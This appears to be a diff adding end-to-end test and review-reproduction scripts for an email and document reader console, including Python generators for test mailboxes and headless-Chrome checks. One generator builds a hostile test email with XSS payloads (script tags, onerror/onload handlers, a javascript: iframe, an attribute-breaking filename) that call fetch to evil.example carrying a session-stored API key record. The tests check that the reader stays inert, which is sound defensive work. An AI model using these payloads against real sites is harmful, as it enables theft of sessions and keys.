assertCensusInert(await census(page, '[data-guest-main]'), 'live guest attachment');+ await shot(page, 'live-guest-attachment');+ await page.setHash('#/corpus');+ await page.waitFor(`document.querySelector('[data-corpus-index] .cp-card__nums')`, { label: 'guest corpus' });+ out.guest.corpus = await page.eval(`document.querySelector('[data-corpus-index]').textContent.replace(/\\s+/g, ' ').slice(0, 200)`);+ await shot(page, 'live-guest-corpus');+ await pwned(page, 'guestInert');+ const reqs = page.requests.filter((r) => r.url.startsWith(origin + '/') && !r.url.startsWith(origin + '/_xerj-console/')).map((r) => `${r.method} ${new URL(r.url).pathname}`);+ out.guest.dataRequests = [...new Set(reqs)];+ out.guest.consoleApiRequests = page.requests.filter((r) => r.url.includes('/_xerj-console/api/')).length;+ await page.close();+ await api('DELETE', '/_security/api_key', { ids: [mint.json.id] });+} finally {+ await browser.close();+ await opBrowser.close();+}+console.log(JSON.stringify(out, null, 2));diff --git a/docs/usecases/console-reader/mkcorpus.py b/docs/usecases/console-reader/mkcorpus.pynew file mode 100644index 000000000..4417f3894--- /dev/null+++ b/docs/usecases/console-reader/mkcorpus.py@@ -0,0 +1,54 @@+#!/usr/bin/env python3+"""Build a small folder of email (+ PDF attachments), PDFs and notes for the+live end-to-end run. One email is hostile in every header it controls."""+import os, shutil, sys+from email.message import EmailMessage+from email.utils import format_datetime+from datetime import datetime, timezone, timedelta++out = sys.argv[1]+res = sys.argv[2] # landing/resources with real PDFs+shutil.rmtree(out, ignore_errors=True)+os.makedirs(f"{out}/inbox"); os.makedirs(f"{out}/contracts"); os.makedirs(f"{out}/notes")++PWN = "window.__xerjPwned=(window.__xerjPwned||0)+1;fetch('https://evil.example/k?'+sessionStorage.getItem('xerj.share'))"+t0 = datetime(2026, 8, 3, 9, 0, tzinfo=timezone.utc)++def mail(n, subj, frm, to, body, attach=None, html=None, mid=None, reply=None, attach_name=None):+ m = EmailMessage()+ m["Subject"] = subj; m["From"] = frm; m["To"] = to+ m["Date"] = format_datetime(t0 + timedelta(days=n))+ m["Message-ID"] = mid or f"<msg-{n}@acme.example>"+ if reply: m["In-Reply-To"] = reply+ m.set_content(body)+ if html: m.add_alternative(html, subtype="html")+ if attach:+ with open(f"{res}/{attach}", "rb") as f:+ m.add_attachment(f.read(), maintype="application", subtype="pdf", filename=attach_name or attach)+ with open(f"{out}/inbox/{n:02d}.eml", "wb") as f: f.write(bytes(m))++mail(1, "Term sheet draft for the Series B", "Dana Reyes <[email protected]>", "[email protected]",+ "Attached is the term sheet draft. The valuation cap and the earnout schedule are on page two.\nPlease review before Thursday.",+ attach="xerj-exec-brief.pdf")+mail(2, "Re: Term sheet draft for the Series B", "Omar Haddad <[email protected]>", "[email protected]",+ "The earnout schedule looks aggressive. Can we discuss liquidation preference on the call?", reply="<[email protected]>")+mail(3, "Security review of the retention policy", "Priya Nair <[email protected]>", "[email protected]",+ "The retention policy needs a clause on backup deletion. See the attached brief for the audit findings.",+ attach="xerj-usecase-security.pdf")+mail(4, "Quarterly invoice reminder", "Billing <[email protected]>", "[email protected]",+ "Your invoice 2026-0417 is overdue. Payment terms are net 30.",+ html="<html><body><h1>Invoice overdue</h1><p>Pay <a href='https://vendor.example/pay'>here</a>.</p><img src='https://vendor.example/pixel.gif'></body></html>")+# The hostile one: every header an outsider controls carries a payload, the+# body is HTML with script, and the attachment FILENAME breaks out of an attribute.+mail(5, f"Overdue invoice <script>{PWN}</script><img src=x onerror=\"{PWN}\">",+ f"\"Mallory <svg onload={PWN}>\" <[email protected]>", "[email protected]",+ f"Dear customer, <img src=x onerror=\"{PWN}\"> click javascript:{PWN} or https://evil.example/pay",+ html=f"<html><body onload=\"{PWN}\"><script>{PWN}</script><iframe src=\"javascript:{PWN}\"></iframe>overdue invoice</body></html>",+ attach="xerj-tech-brief.pdf", attach_name=f"\"><img src=x onerror={PWN}>.pdf", mid="<[email protected]>")+mail(6, "Lunch on Friday?", "Sam Okafor <[email protected]>", "[email protected]", "Tacos. Noon. No agenda.")++shutil.copy(f"{res}/xerj-industry-finserv.pdf", f"{out}/contracts/finserv-brief.pdf")+shutil.copy(f"{res}/xerj-usecase-observability.pdf", f"{out}/contracts/observability-brief.pdf")+open(f"{out}/notes/deal.md", "w").write("# Series B deal notes\n\nThe term sheet is summarised in [[diligence]]. Valuation cap and earnout are the open points.\nSee also [the finserv brief](../contracts/finserv-brief.pdf).\n")+open(f"{out}/notes/diligence.md", "w").write("# Diligence checklist\n\nLinked from [[deal]]. Retention policy review is pending with legal.\n")+print("corpus at", out, "files:", sum(len(f) for _, _, f in os.walk(out)))diff --git a/docs/usecases/console-reader/review-repro/live-repro.mjs b/docs/usecases/console-reader/review-repro/live-repro.mjsnew file mode 100644index 000000000..79542ea97--- /dev/null+++ b/docs/usecases/console-reader/review-repro/live-repro.mjs@@ -0,0 +1,110 @@+// The correctness review of PR #945, replayed against a REAL node: what the+// engine holds (truth), what the first version of the Reader asked for and got+// (before), and what this version shows in real headless Chrome (after).+// Usage: node live-repro.mjs <origin> <admin-key> → JSON on stdout+import { launch, sleep } from '../../../../xerj-ux/test/browser/cdp.mjs';+import { buildSearchBody, searchFieldsOf } from '../../../../xerj-ux/src/data/search-body.js';+import { deriveRoles } from '../../../../xerj-ux/src/data/schema-roles.js';+import { fieldTypesOf } from '../../../../xerj-ux/src/data/reader-api.js';++const [origin, adminKey] = process.argv.slice(2);+const INDEX = 'ax-docs';+const BRAIN = process.env.BRAIN || 'repro';+const api = async (method, path, body, key = adminKey) => {+ const r = await fetch(origin + path, { method, headers: { authorization: `ApiKey ${key}`, 'content-type': 'application/json' }, body: body ? JSON.stringify(body) : undefined });+ const text = await r.text(); let json = null; try { json = JSON.parse(text); } catch { /* */ }+ return { status: r.status, json, text };+};+const total = async (query) => { const r = await api('POST', `/${INDEX}/_search`, { query, size: 0, track_total_hits: true }); return r.json?.hits ? r.json.hits.total.value : `HTTP ${r.status}`; };+const out = { recorded: new Date().toISOString().slice(0, 10) };++// ---- truth ---------------------------------------------------------------+const mapping = (await api('GET', `/${INDEX}/_mapping`)).json;+const types = fieldTypesOf(mapping, INDEX);+out.mapping = Object.fromEntries(['body', 'text', 'email_subject', 'title', 'attachment_name'].map((f) => [f, types[f] || null]));+const truth = await api('POST', `/${INDEX}/_search`, { size: 0, aggs: { p: { terms: { field: 'ax_path', size: 50 }, aggs: { att: { terms: { field: 'attachment_name' } }, mid: { terms: { field: 'email_message_id' } } } } } });+out.truth = Object.fromEntries(truth.json.aggregations.p.buckets.filter((b) => b.key.endsWith('.eml')).sort((a, b) => a.key.localeCompare(b.key))+ .map((b) => [b.key, { records: b.doc_count, attachments: Object.fromEntries(b.att.buckets.map((x) => [x.key, x.doc_count])), messageId: b.mid.buckets.map((x) => x.key)[0] || null }]));++// ---- before: the requests the first version of the Reader made -------------+const oldJoin = async (mid) => {+ const r = await api('POST', `/${INDEX}/_search`, { query: { bool: { filter: [{ term: { email_message_id: mid } }, { exists: { field: 'attachment_name' } }] } }, size: 200 });+ const hits = r.json.hits.hits;+ return { matching: r.json.hits.total.value, returned: hits.length, listedByName: [...new Set(hits.map((h) => h._source.attachment_name))].sort() };+};+const oldMatch = (q) => ({ bool: { should: ['body', 'email_subject', 'title', 'attachment_name'].map((f) => ({ match: { [f]: q } })), minimum_should_match: 1 } });+const catalog = await api('POST', '/autoindex-catalog/_search', { query: { term: { doc_kind: 'dataset' } }, size: 10 });+const samples = (catalog.json?.hits?.hits || []).flatMap((h) => [].concat(h._source.sample_queries_json || [])).map((x) => (typeof x === 'string' ? JSON.parse(x) : x));+const fullText = samples.find((s) => s.class === 'full_text' && s.body?.query?.match);+const [sampleField, sampleText] = fullText ? Object.entries(fullText.body.query.match)[0] : [null, null];+out.before = {+ attachmentJoin_size200_byMessageId: { 'inbox/06-bigpdf.eml': await oldJoin('[email protected]'), 'inbox/04-samename.eml': await oldJoin('[email protected]'), 'inbox/03-dup.eml (shares its id with archive/03-dup.eml)': await oldJoin('[email protected]') },+ match_on_keyword_subject: { 'match email_subject:Lunch': await total({ match: { email_subject: 'Lunch' } }), 'match email_subject:"Lunch on Friday?" (the whole value)': await total({ match: { email_subject: 'Lunch on Friday?' } }), 'match_phrase email_subject:"Lunch on"': await total({ match_phrase: { email_subject: 'Lunch on' } }) },+ readerMatch_singleTextField: Object.fromEntries(await Promise.all(['Duplicate', 'Lunch', 'nomid', sampleText].filter(Boolean).map(async (q) => [q, await total(oldMatch(q))]))),+ catalogSample: fullText ? { field: sampleField, text: sampleText, catalogBodyVerbatim: await total(fullText.body.query) } : null,+ guestCard_emails_by_message_id: (await api('POST', `/${INDEX}/_search`, { size: 0, aggs: { e: { filter: { bool: { filter: [{ exists: { field: 'email_message_id' } }], must_not: [{ exists: { field: 'attachment_name' } }] } } } } })).json.aggregations.e.doc_count,+};++// ---- the clauses this version sends, measured on the engine ----------------+const roles = deriveRoles(types);+const has = (f, value) => ({ wildcard: { [f]: { value, case_insensitive: true } } });+out.engine = {+ searchFields: searchFieldsOf(roles),+ wildcard_on_keyword_subject: { '*lunch*': await total(has('email_subject', '*lunch*')), '*lunch on*': await total(has('email_subject', '*lunch on*')), 'lunch*': await total(has('email_subject', 'lunch*')), 'prefix + case_insensitive (not used: returns)': await total({ prefix: { email_subject: { value: 'lunch', case_insensitive: true } } }) },+ readerBodies: Object.fromEntries(await Promise.all([['match', 'Duplicate'], ['match', 'Lunch'], ['match', 'nomid'], ['phrase', 'Lunch on'], ['prefix', 'dup'], ['match', sampleText]].filter(([, q]) => q).map(async ([type, q]) => [`${type} ${q}`, await total(buildSearchBody(q, type, {}, roles, { aggs: false }).query)]))),+};++// ---- after: real Chrome, guest mode, the bundled console -------------------+const msgs = (await api('POST', `/${INDEX}/_search`, { query: { term: { ax_locator: 'msg-s0' } }, size: 50, _source: ['ax_path'] })).json.hits.hits;+const idOf = (path) => msgs.find((h) => h._source.ax_path === path)._id;+const mint = await api('POST', '/_security/api_key', { name: 'review-repro-guest', expiration: '1h', role_descriptors: { guest: { indices: [{ names: [INDEX, `.xerj-memory-${BRAIN}-edges`], privileges: ['read'] }] } } });+if (mint.status !== 200) throw new Error('mint failed: ' + mint.text.slice(0, 300));+const record = { api_key: mint.json.encoded, index: INDEX, brain: BRAIN, expires_at: new Date(Date.now() + 3600_000).toISOString(), label: 'review repro' };+const browser = await launch();+try {+ const page = await browser.newPage();+ await page.goto(`${origin}/_xerj-console/src/theme-boot.js`);+ await page.eval(`sessionStorage.setItem('xerj.share', ${JSON.stringify(JSON.stringify(record))}), true`);+ const open = async (path) => {+ await page.goto(`${origin}/_xerj-console/#/reader?index=${INDEX}&id=${encodeURIComponent(idOf(path))}`);+ await page.waitFor(`document.querySelector('[data-shape="email"]') && !/looking/.test(document.querySelector('.rd-read').textContent)`, { label: path, timeoutMs: 20000 });+ await sleep(400);+ return page.eval(`({ head: document.querySelector('[data-rd-block="attachments"] .key')?.textContent || 'no attachment block', attachments: [...document.querySelectorAll('[data-rd-block="attachments"] .rd-att__name')].map((a) => a.textContent), saysIncomplete: !!document.querySelector('[data-rd-block="attachments-truncated"]') })`);+ };+ out.after = { readerAttachmentList: {} };+ for (const p of Object.keys(out.truth)) out.after.readerAttachmentList[p] = await open(p);++ await page.goto(`${origin}/_xerj-console/#/reader?index=${INDEX}&id=${encodeURIComponent(idOf('inbox/04-samename.eml'))}`);+ await page.waitFor(`document.querySelectorAll('[data-rd-block="attachments"] .rd-att').length === 2`, { label: 'two scan.pdf entries' });+ await page.eval(`(document.querySelectorAll('[data-rd-block="attachments"] .rd-att')[1].click(), true)`);+ await page.waitFor(`document.querySelector('[data-shape="attachment"]') && /FROM EMAIL/.test(document.querySelector('[data-guest-main]').textContent)`, { label: 'the second scan.pdf' });+ out.after.secondSameNamedAttachmentOpens = await page.eval(`({ text: document.querySelector('.rd-body').textContent.slice(0, 40), fromEmail: document.querySelector('[data-rd-block="parent"] .rd-att__name').textContent })`);+ const nomidAtt = (await api('POST', `/${INDEX}/_search`, { query: { term: { attachment_name: 'nomid.pdf' } }, size: 1 })).json.hits.hits[0]._id;+ await page.goto(`${origin}/_xerj-console/#/reader?index=${INDEX}&id=${encodeURIComponent(nomidAtt)}`);+ await page.waitFor(`/FROM EMAIL/.test(document.querySelector('[data-guest-main]')?.textContent || '')`, { label: 'parent of an attachment whose email has no Message-ID' });+ out.after.attachmentOfEmailWithoutMessageId_fromEmail = await page.eval(`document.querySelector('[data-rd-block="parent"] .rd-att__name').textContent`);++ const search = async (type, q) => {+ await page.eval(`(() => { const s = document.querySelector('.rd-type'); s.value = ${JSON.stringify(type)}; const i = document.querySelector('.rd-q'); i.value = ${JSON.stringify(q)}; s.dispatchEvent(new Event('change', { bubbles: true })); return true; })()`);+ await page.waitFor(`!/SEARCHING/.test(document.querySelector('[data-rd-slot="list-head"]').textContent)`, { label: `${type} ${q}` });+ await sleep(500);+ return page.eval(`({ head: document.querySelector('[data-rd-slot="list-head"]').textContent, first: [...document.querySelectorAll('.rd-card__title')].slice(0, 2).map((t) => t.textContent), message: document.querySelector('.rd-list') ? null : (document.querySelector('[data-rd-slot="list"] .rd-empty')?.textContent || null) })`);+ };+ out.after.readerSearch = {};+ for (const [type, q] of [['match', 'Duplicate'], ['match', 'Lunch'], ['match', 'nomid'], ['phrase', 'Lunch on'], ['prefix', 'dup'], ['match', sampleText], ['term', 'zebrafish'], ['range', 'hello'], ['term', 'ax_format=eml']].filter(([, q]) => q)) out.after.readerSearch[`${type} ${q}`] = await search(type, q);+ const before = await page.eval(`document.querySelectorAll('.rd-card').length`);+ await page.eval(`(document.querySelector('[data-rd-more]')?.click(), true)`);+ await page.waitFor(`document.querySelectorAll('.rd-card').length > ${before}`, { label: 'SHOW MORE' });+ out.after.showMore = { cardsBefore: before, cardsAfter: await page.eval(`document.querySelectorAll('.rd-card').length`), head: await page.eval(`document.querySelector('[data-rd-slot="list-head"]').textContent`) };++ await page.setHash('#/corpus');+ await page.waitFor(`document.querySelector('[data-corpus-index] .cp-card__nums')`, { label: 'guest corpus' });+ out.after.guestCard = await page.eval(`document.querySelector('[data-corpus-index]').textContent.replace(/\\s+/g, ' ').slice(0, 140)`);+ const flags = await page.eval(`({ pwned: window.__xerjPwned || 0, csp: (window.__cspViolations || []).length })`);+ out.after.inert = { ...flags, consoleApiRequests: page.requests.filter((r) => r.url.includes('/_xerj-console/api/')).length };+ await page.close();+} finally {+ await browser.close();+ await api('DELETE', '/_security/api_key', { ids: [mint.json.id] });+}+console.log(JSON.stringify(out, null, 2));diff --git a/docs/usecases/console-reader/review-repro/mbox-repro.json b/docs/usecases/console-reader/review-repro/mbox-repro.jsonnew file mode 100644index 000000000..33eb19891--- /dev/null+++ b/docs/usecases/console-reader/review-repro/mbox-repro.json@@ -0,0 +1,186 @@+{+ "recorded": "2026-09-19",+ "truth": {+ "Quarterly report 2026": [+ "report.pdf",+ "notes.txt"+ ],+ "Lunch on Friday?": [],+ "Two scans, same name": [+ "scan.pdf",+ "scan.pdf"+ ],+ "No message id in this one": [+ "nomid.txt"+ ],+ "Invoice 9120 attached": [+ "invoice.pdf"+ ]+ },+ "index": "ax-docs",+ "mapping": {+ "body": "text",+ "email_subject": "keyword",+ "title": "text",+ "attachment_name": "keyword",+ "ax_locator": "keyword",+ "ax_file": "keyword"+ },+ "messages": [+ {+ "subject": "Quarterly report 2026",+ "locator": "m0-msg-s0",+ "format": "mbox",+ "messageId": "[email protected]"+ },+ {+ "subject": "Lunch on Friday?",+ "locator": "m2424-msg-s0",+ "format": "mbox",+ "messageId": "[email protected]"+ },+ {+ "subject": "Two scans, same name",+ "locator": "m2743-msg-s0",+ "format": "mbox",+ "messageId": "[email protected]"+ },+ {+ "subject": "No message id in this one",+ "locator": "m5199-msg-s0",+ "format": "mbox",+ "messageId": null+ },+ {+ "subject": "Invoice 9120 attached",+ "locator": "m5889-msg-s0",+ "format": "mbox",+ "messageId": "[email protected]"+ }+ ],+ "filesHoldingTheMessages": 1,+ "before": {+ "Quarterly report 2026": {+ "attachmentRecordsJoined": 9,+ "names": [+ "invoice.pdf",+ "nomid.txt",+ "notes.txt",+ "report.pdf",+ "scan.pdf"+ ]+ },+ "Lunch on Friday?": {+ "attachmentRecordsJoined": 9,+ "names": [+ "invoice.pdf",+ "nomid.txt",+ "notes.txt",+ "report.pdf",+ "scan.pdf"+ ]+ },+ "Two scans, same name": {+ "attachmentRecordsJoined": 9,+ "names": [+ "invoice.pdf",+ "nomid.txt",+ "notes.txt",+ "report.pdf",+ "scan.pdf"+ ]+ },+ "No message id in this one": {+ "attachmentRecordsJoined": 9,+ "names": [+ "invoice.pdf",+ "nomid.txt",+ "notes.txt",+ "report.pdf",+ "scan.pdf"+ ]+ },+ "Invoice 9120 attached": {+ "attachmentRecordsJoined": 9,+ "names": [+ "invoice.pdf",+ "nomid.txt",+ "notes.txt",+ "report.pdf",+ "scan.pdf"+ ]+ },+ "parentOf_invoice_pdf": "Quarterly report 2026",+ "emailsCountedByMessageId": 4+ },+ "engine": {+ "match body Quarterly": 1,+ "match email_subject Quarterly": 0+ },+ "after": {+ "readerAttachmentList": {+ "Quarterly report 2026": {+ "head": "ATTACHMENTS · 2",+ "attachments": [+ "report.pdf",+ "notes.txt"+ ],+ "saysIncomplete": false+ },+ "Lunch on Friday?": {+ "head": "no attachment block",+ "attachments": [],+ "saysIncomplete": false+ },+ "Two scans, same name": {+ "head": "ATTACHMENTS · 2",+ "attachments": [+ "scan.pdf",+ "scan.pdf"+ ],+ "saysIncomplete": false+ },+ "No message id in this one": {+ "head": "ATTACHMENTS · 1",+ "attachments": [+ "nomid.txt"+ ],+ "saysIncomplete": false+ },+ "Invoice 9120 attached": {+ "head": "ATTACHMENTS · 1",+ "attachments": [+ "invoice.pdf"+ ],+ "saysIncomplete": false+ }+ },+ "parentOf_invoice_pdf": "Invoice 9120 attached",+ "readerSearch": {+ "match Quarterly": {+ "head": "1 RESULT · CLICK TO OPEN",+ "first": [+ "Quarterly report 2026"+ ]+ },+ "match lunch": {+ "head": "1 RESULT · CLICK TO OPEN",+ "first": [+ "Lunch on Friday?"+ ]+ },+ "phrase Lunch on": {+ "head": "1 RESULT · CLICK TO OPEN",+ "first": [+ "Lunch on Friday?"+ ]+ }+ },+ "guestCard": "DATASETax-docs15 recordsemails 5attachment records 9formats mbox 15OPEN IN READER",+ "inert": {+ "pwned": 0,+ "csp": 0,+ "consoleApiRequests": 0+ }+ }+}diff --git a/docs/usecases/console-reader/review-repro/mbox-repro.mjs b/docs/usecases/console-reader/review-repro/mbox-repro.mjsnew file mode 100644index 000000000..b44d6723c--- /dev/null+++ b/docs/usecases/console-reader/review-repro/mbox-repro.mjs@@ -0,0 +1,90 @@+// The Reader over a MAILBOX: several messages in ONE file, as autoindex's mbox+// ingest (PR #949) writes them — every record shares the mailbox's `ax_file`,+// and each message's locators carry its byte offset (`m812-msg-s0`,+// `m812-att0-p3-s0`). Needs a binary that has the mbox extractor; run by+// run-mbox.sh. Records truth (from the generator), before (the join of+// e1e8dc04 — `ax_file` alone — replayed verbatim), and after (the bundled+// console in headless Chrome, as a guest).+// Usage: node mbox-repro.mjs <origin> <admin-key> <truth.json> → JSON on stdout+import { readFileSync } from 'node:fs';+import { launch, sleep } from '../../../../xerj-ux/test/browser/cdp.mjs';+import { fieldTypesOf } from '../../../../xerj-ux/src/data/reader-api.js';++const [origin, adminKey, truthPath] = process.argv.slice(2);+const BRAIN = process.env.BRAIN || 'mboxrepro';+const api = async (method, path, body, key = adminKey) => {+ const r = await fetch(origin + path, { method, headers: { authorization: `ApiKey ${key}`, 'content-type': 'application/json' }, body: body ? JSON.stringify(body) : undefined });+ const text = await r.text(); let json = null; try { json = JSON.parse(text); } catch { /* */ }+ return { status: r.status, json, text };+};+const out = { recorded: new Date().toISOString().slice(0, 10), truth: JSON.parse(readFileSync(truthPath, 'utf8')) };++// ---- what the engine holds ----------------------------------------------+const found = await api('POST', '/ax-*/_search', { query: { wildcard: { ax_locator: { value: 'm*-msg-s0' } } }, size: 50, _source: ['email_subject', 'ax_locator', 'ax_file', 'email_message_id', 'ax_format'] });+const msgs = (found.json?.hits?.hits || []);+if (!msgs.length) throw new Error('no mailbox message records (m<offset>-msg-s0) — is this binary built with the mbox extractor? ' + found.text.slice(0, 300));+const INDEX = msgs[0]._index;+const types = fieldTypesOf((await api('GET', `/${INDEX}/_mapping`)).json, INDEX);+out.index = INDEX;+out.mapping = Object.fromEntries(['body', 'email_subject', 'title', 'attachment_name', 'ax_locator', 'ax_file'].map((f) => [f, types[f] || null]));+out.messages = msgs.map((h) => ({ subject: h._source.email_subject, locator: h._source.ax_locator, format: h._source.ax_format, messageId: h._source.email_message_id || null }))+ .sort((a, b) => Number(a.locator.slice(1).split('-')[0]) - Number(b.locator.slice(1).split('-')[0]));+out.filesHoldingTheMessages = [...new Set(msgs.map((h) => h._source.ax_file))].length;++// ---- before: the join of e1e8dc04 (ax_file alone), replayed -----------------+const bySubject = (s) => msgs.find((h) => h._source.email_subject === s);+out.before = {};+for (const subject of Object.keys(out.truth)) {+ const h = bySubject(subject);+ if (!h) { out.before[subject] = 'NOT INDEXED'; continue; }+ const r = await api('POST', `/${INDEX}/_search`, { query: { bool: { filter: [{ term: { ax_file: h._source.ax_file } }, { exists: { field: 'attachment_name' } }] } }, sort: [{ ax_locator: 'asc' }], size: 1000, _source: ['attachment_name', 'ax_locator'] });+ out.before[subject] = { attachmentRecordsJoined: r.json.hits.total.value, names: [...new Set(r.json.hits.hits.map((x) => x._source.attachment_name))].sort() };+}+const invAtt = (await api('POST', `/${INDEX}/_search`, { query: { term: { attachment_name: 'invoice.pdf' } }, size: 1, _source: ['ax_file', 'ax_locator'] })).json.hits.hits[0];+const oldParent = await api('POST', `/${INDEX}/_search`, { query: { bool: { filter: [{ term: { ax_file: invAtt._source.ax_file } }], must_not: [{ exists: { field: 'attachment_name' } }, { term: { ax_locator: 'file' } }] } }, sort: [{ ax_locator: 'asc' }], size: 1, _source: ['email_subject'] });+out.before.parentOf_invoice_pdf = oldParent.json.hits.hits[0]?._source?.email_subject || null;+out.before.emailsCountedByMessageId = (await api('POST', `/${INDEX}/_search`, { size: 0, aggs: { e: { filter: { bool: { filter: [{ exists: { field: 'email_message_id' } }], must_not: [{ exists: { field: 'attachment_name' } }] } } } } })).json.aggregations.e.doc_count;+out.engine = {+ 'match body Quarterly': (await api('POST', `/${INDEX}/_search`, { query: { match: { body: 'Quarterly' } }, size: 0, track_total_hits: true })).json.hits.total.value,+ 'match email_subject Quarterly': (await api('POST', `/${INDEX}/_search`, { query: { match: { email_subject: 'Quarterly' } }, size: 0, track_total_hits: true })).json.hits.total.value,+};++// ---- after: real Chrome, guest mode, the bundled console -------------------+const mint = await api('POST', '/_security/api_key', { name: 'mbox-repro-guest', expiration: '1h', role_descriptors: { guest: { indices: [{ names: [INDEX, `.xerj-memory-${BRAIN}-edges`], privileges: ['read'] }] } } });+if (mint.status !== 200) throw new Error('mint failed: ' + mint.text.slice(0, 300));+const record = { api_key: mint.json.encoded, index: INDEX, brain: BRAIN, expires_at: new Date(Date.now() + 3600_000).toISOString(), label: 'mbox repro' };+const browser = await launch();+try {+ const page = await browser.newPage();+ await page.goto(`${origin}/_xerj-console/src/theme-boot.js`);+ await page.eval(`sessionStorage.setItem('xerj.share', ${JSON.stringify(JSON.stringify(record))}), true`);+ out.after = { readerAttachmentList: {} };+ for (const subject of Object.keys(out.truth)) {+ const h = bySubject(subject);+ if (!h) continue;+ await page.goto(`${origin}/_xerj-console/#/reader?index=${encodeURIComponent(INDEX)}&id=${encodeURIComponent(h._id)}`);+ await page.waitFor(`document.querySelector('[data-shape="email"]') && !/looking/.test(document.querySelector('.rd-read').textContent)`, { label: subject, timeoutMs: 20000 });+ await sleep(500);+ out.after.readerAttachmentList[subject] = await page.eval(`({ head: document.querySelector('[data-rd-block="attachments"] .key')?.textContent || 'no attachment block', attachments: [...document.querySelectorAll('[data-rd-block="attachments"] .rd-att__name')].map((a) => a.textContent), saysIncomplete: !!document.querySelector('[data-rd-block="attachments-truncated"]') })`);+ }+ await page.goto(`${origin}/_xerj-console/#/reader?index=${encodeURIComponent(INDEX)}&id=${encodeURIComponent(invAtt._id)}`);+ await page.waitFor(`/FROM EMAIL/.test(document.querySelector('[data-guest-main]')?.textContent || '')`, { label: 'parent of invoice.pdf' });+ out.after.parentOf_invoice_pdf = await page.eval(`document.querySelector('[data-rd-block="parent"] .rd-att__name').textContent`);+ const search = async (type, q) => {+ await page.eval(`(() => { const s = document.querySelector('.rd-type'); s.value = ${JSON.stringify(type)}; const i = document.querySelector('.rd-q'); i.value = ${JSON.stringify(q)}; s.dispatchEvent(new Event('change', { bubbles: true })); return true; })()`);+ await page.waitFor(`!/SEARCHING/.test(document.querySelector('[data-rd-slot="list-head"]').textContent)`, { label: `${type} ${q}` });+ await sleep(500);+ return page.eval(`({ head: document.querySelector('[data-rd-slot="list-head"]').textContent, first: [...document.querySelectorAll('.rd-card__title')].slice(0, 3).map((t) => t.textContent) })`);+ };+ out.after.readerSearch = { 'match Quarterly': await search('match', 'Quarterly'), 'match lunch': await search('match', 'lunch'), 'phrase Lunch on': await search('phrase', 'Lunch on') };+ await page.setHash('#/corpus');+ await page.waitFor(`document.querySelector('[data-corpus-index] .cp-card__nums')`, { label: 'guest corpus' });+ out.after.guestCard = await page.eval(`document.querySelector('[data-corpus-index]').textContent.replace(/\\s+/g, ' ').slice(0, 160)`);+ const flags = await page.eval(`({ pwned: window.__xerjPwned || 0, csp: (window.__cspViolations || []).length })`);+ out.after.inert = { ...flags, consoleApiRequests: page.requests.filter((r) => r.url.includes('/_xerj-console/api/')).length };+ await page.close();+} finally {+ await browser.close();+ await api('DELETE', '/_security/api_key', { ids: [mint.json.id] });+}+console.log(JSON.stringify(out, null, 2));diff --git a/docs/usecases/console-reader/review-repro/mkmbox.py b/docs/usecases/console-reader/review-repro/mkmbox.pynew file mode 100755index 000000000..2a9377c50--- /dev/null+++ b/docs/usecases/console-reader/review-repro/mkmbox.py@@ -0,0 +1,74 @@+#!/usr/bin/env python3+"""A folder holding ONE mailbox file (mbox), for mbox-repro.mjs: several+messages share one file, so they share one `ax_file` once autoindex's mbox+ingest (PR #949) splits the file. Each message exists to make one join visible:++ "Quarterly report 2026" report.pdf (3 pages) + notes.txt+ "Lunch on Friday?" no attachments+ "Two scans, same name" two attachments both named scan.pdf+ "No message id in this one" no Message-ID header; nomid.txt+ "Invoice 9120 attached" invoice.pdf (2 pages)++truth.json (written next to the folder) lists what each message carries, from+this generator, not from the engine.+"""+import json, mailbox, os, shutil, sys+from email.message import EmailMessage+from email.utils import format_datetime+from datetime import datetime, timezone, timedelta++out = sys.argv[1]+shutil.rmtree(out, ignore_errors=True)+os.makedirs(f"{out}/Mail")+t0 = datetime(2026, 8, 3, 9, 0, tzinfo=timezone.utc)++def pdf(pages):+ """Minimal text PDF, one line of text per page (same as mkrepro.py)."""+ objs = []+ def add(b): objs.append(b); return len(objs)+ font = add(b"<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>")+ pages_id = len(objs) + 1 + 2 * len(pages)+ kids = []+ for text in pages:+ stream = f"BT /F1 12 Tf 72 720 Td ({text}) Tj ET".encode()+ c = add(b"<< /Length %d >>\nstream\n" % len(stream) + stream + b"\nendstream")+ p = add(f"<< /Type /Page /Parent {pages_id} 0 R /MediaBox [0 0 612 792] /Contents {c} 0 R /Resources << /Font << /F1 {font} 0 R >> >> >>".encode())+ kids.append(p)+ pid = add(f"<< /Type /Pages /Kids [{' '.join(f'{k} 0 R' for k in kids)}] /Count {len(kids)} >>".encode())+ assert pid == pages_id+ cat = add(f"<< /Type /Catalog /Pages {pid} 0 R >>".encode())+ body = b"%PDF-1.4\n"; offs = []+ for i, o in enumerate(objs, 1):+ offs.append(len(body)); body += b"%d 0 obj\n" % i + o + b"\nendobj\n"+ xref = len(body)+ body += b"xref\n0 %d\n0000000000 65535 f \n" % (len(objs) + 1)+ for o in offs: body += b"%010d 00000 n \n" % o+ body += f"trailer\n<< /Size {len(objs)+1} /Root {cat} 0 R >>\nstartxref\n{xref}\n%%EOF\n".encode()+ return body++MSGS = [+ ("Quarterly report 2026", "<[email protected]>", "The quarterly report and my notes.",+ [("report.pdf", pdf([f"quarterlypdf page {i}" for i in (1, 2, 3)])), ("notes.txt", b"quarterlynotes plain text")]),+ ("Lunch on Friday?", "<[email protected]>", "Tacos. Noon. No agenda.", []),+ ("Two scans, same name", "<[email protected]>", "Both attachments are called scan.pdf.",+ [("scan.pdf", pdf(["firstmboxscan alpha"])), ("scan.pdf", pdf(["secondmboxscan beta"]))]),+ ("No message id in this one", None, "This message has no Message-ID header.",+ [("nomid.txt", b"mboxnomid plain text attachment")]),+ ("Invoice 9120 attached", "<[email protected]>", "Invoice attached.",+ [("invoice.pdf", pdf(["invoicepdf page 1", "invoicepdf page 2"]))]),+]+box = mailbox.mbox(f"{out}/Mail/All mail.mbox", create=True)+for n, (subj, mid, body, atts) in enumerate(MSGS):+ m = EmailMessage()+ m["Subject"] = subj; m["From"] = "Dana Reyes <[email protected]>"; m["To"] = "[email protected]"+ m["Date"] = format_datetime(t0 + timedelta(days=n))+ if mid: m["Message-ID"] = mid+ m.set_content(body)+ for name, data in atts:+ if name.endswith(".pdf"): m.add_attachment(data, maintype="application", subtype="pdf", filename=name)+ else: m.add_attachment(data.decode(), subtype="plain", filename=name)+ box.add(m)+box.flush(); box.close()+with open(f"{out}.truth.json", "w") as f:+ json.dump({subj: [name for name, _ in atts] for subj, _, _, atts in MSGS}, f, indent=2)+print("mailbox at", f"{out}/Mail/All mail.mbox", "messages:", len(MSGS))diff --git 